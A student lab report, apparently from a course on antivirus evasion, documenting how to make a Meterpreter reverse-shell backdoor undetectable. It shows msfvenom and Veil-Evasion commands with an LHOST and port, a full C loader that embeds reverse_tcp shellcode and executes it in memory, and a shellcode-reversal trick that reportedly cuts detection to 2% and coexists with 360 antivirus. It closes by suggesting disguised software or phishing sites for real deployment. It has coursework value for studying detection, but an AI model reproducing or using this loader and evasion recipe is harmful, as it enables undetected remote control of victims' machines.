zoukankan      html  css  js  c++  java
  • Exp3 免杀原理与实践_05齐帅

    Exp3 免杀原理与实践#

    20154305_齐帅###

    想要弄懂免杀,一定得先把基础问题弄明白啊~~

    一、基础问题回答#

    (1)杀软是如何检测出恶意代码的?###

    - -检测特征码:####

    依靠分析总结出计算机病毒中常出现的部分
    例如,作者名称,地址,执行关键步骤的部分代码,来作为特征码。将大量特征码保存在病毒库中,杀毒依靠检索程序代码是否和库中特征码是否吻合
    
    优点:能较准确查杀;缺点:具有滞后性
    

    - -启发式恶意软件检测:####

    如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序
    
    优点:能在一定程度上预防新型病毒;缺点:容易误报
    

    - -基于行为检测:####

    与启发式检测类似,只是单纯依靠监测程序行为来作为标准
    

    (2)免杀是做什么?###

    使恶意软件不被杀毒软件检测出来杀掉
    

    (3)免杀的基本方法有哪些?###

    - -改变特征码:####

    - 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码
    - 加壳,使其无法进行逆向,比对病毒库中的特征码
    

    - -改变行为方式:####

    例如之前注入所用到的反弹端口连接
    

    二、开始实验测试#

    弄清了这些问题,我就开始尝试对恶意代码进行伪装

    1.原始版本##

    将上此实验产生的后门 qishuai_backdoor.exe 文件直接拷贝到开启360的win主机下#####

    直接被360逮到~~#####
    添加信任以后放在 http://www.virscan.org/上扫描



    48%的报毒率!!那些没查到的可能因为病毒太裸了吧~#####

    接下来需要对其进行改装了

    2.编码版本V1##

    先对后门木马编码1次,qishuai_backdoor_v1_1.exe#####

    46%的报毒率,仅仅降低了2%,那就编码10次试试,qishuai_backdoor_v1_10.exe#####

    48%的报毒率??,反而更高了,这个方法不咋靠谱的~~#####

    3.veil-evasion版本 qishuai_VE_4

    首先需要安装它
    sudo apt-get install veil-evasion

    下载好之后veil开始安装,一路YES

    安装好之后选择evasion工具#####

    选好后根据菜单提示在现有的这些工具中选一个TCP链接的payload#####

    根据菜单提示设置参数#####

    set LHOST kali_ip

    set LPORT 4305

    设置好之后开始生成病毒

    可是我选择了25和28,不知道为啥生成都失败了,过程不看了,只有个

    失败的结果:#####

    可见,python和powershell都没有exe可执行文件###

    不过生成文件存放的文件夹还是要记住的~

    最后选择了一个用C语言生成的payload,成功了:#####

    如上,设置好参数

    起个名字,qishuai_VE_4#####

    需要在上面的文件夹把exe文件拷贝到win主机上,当然我没找到那个文件夹,只好把那个文件夹复制到主机root目录下

    cp -r 要复制的文件夹绝对地址 /root
    

    这样就可以从/root中将文件拷贝到win主机,去检测一下吧

    只有15%的报毒率了!!打开360软件试一试-->

    被无情拦截,看来还不行- _ -###

    4.C语言调用Shellcode版本##

    在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。#####
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.131 LPORT=4305 -f c
    

    将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VE编译运行#####

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <windows.h>
    #include <winbase.h>
    const char met[]=
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8xefx83"
    "x68x02x00x10xd1x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    { 
        DWORD old=0;
        BOOL ret=VirtualProtect((LPVOID)met,strlen(met),PAGE_EXECUTE_READWRITE,&old);
        INT32 * addr;
        addr = (INT32*)&met;
        __asm;
        {
    	    call addr;
        }
        return 0;
    }
    

    找到exe可执行文件 qishuai_shellcode_C.exe,扫描一下吧####

    12%的报毒率了,降低了不少####

    回连一下kali主机试一试####

    上面的几个后门没有回连,因为觉得用专业软件生成的木马功能应该没什么问题,这个C的木马担心编程出现错误,就回连试了一下~

    按照上此实验的方法一顿操作之后成功控制win主机,没有问题!#####

    5.C调用升级版本##

    将shellcode代码部分前后颠倒,就是最后的放在最前,最前的放在最后加强一下~#####

    先编写一个C程序将buf[]数组内容颠倒

    int i;
    char a[400];
    for(i=430;i>=0;i--)
       {
        a[430-i]=buf[i];
       }
    for(i=0;i<431;i++)
        printf("%x,",a[i]);
    

    大概就是这样,当时没截图,可能有错误~

    将结果复制下来,去掉,再加上x一顿整理,得到这个东西

    再按照上面的C语言程序在VE下编译成exe文件,qishuai_shellcode_C_V2.exe#####
    扫描一下吧~#####

    可以的,不枉费我这么费劲,只有2%的报毒率!!!###

    WHAT?????难怪只有2%的报毒率。。。###

    再改进吧,实验的时候给老师检查一个能免杀的

    ok,现在改进好了,原因就是把shellcode逆序之后还要在调用的时候把它变回来才没有问题,改了一下上边的程序源代码,加一个循环倒置就行了,现在可以和360共存了,哈哈哈!!!回连也成功了!!!报毒率只有2%##

    看图吧!!###

    报毒率

    和360共存

    回连

    三、离实战还缺些什么技术或步骤?#

    当然是如何使木马病毒自己运行起来呀,总不能我去别人主机双击运行吧,可以伪装一下别的软件或者放在钓鱼网站吧。

    四、实验感想#

    其实了解了杀软的原理也就能知道如何避免病毒被杀死,一些繁琐的操作背后都是为了改变病毒的基本特征,受用很深,也让我了解了看似安全其实不然的电脑环境安全,现在有点头晕了,凌晨1点半~,不过我还是觉得这个实马

  • 相关阅读:
    Java 类和Static关键字
    算法与数据结构实验题 6.4 Summary
    Django-----vue结合上传图片
    Django----模板继承&过滤器
    Django-----多对多示例查询
    Django-----验证码
    Django-----序列化--jwt
    Django-----文件配置
    Django-----删除--批量删除
    Django-----图文混排
  • 原文地址:https://www.cnblogs.com/qsss/p/8701222.html
Copyright © 2011-2022 走看看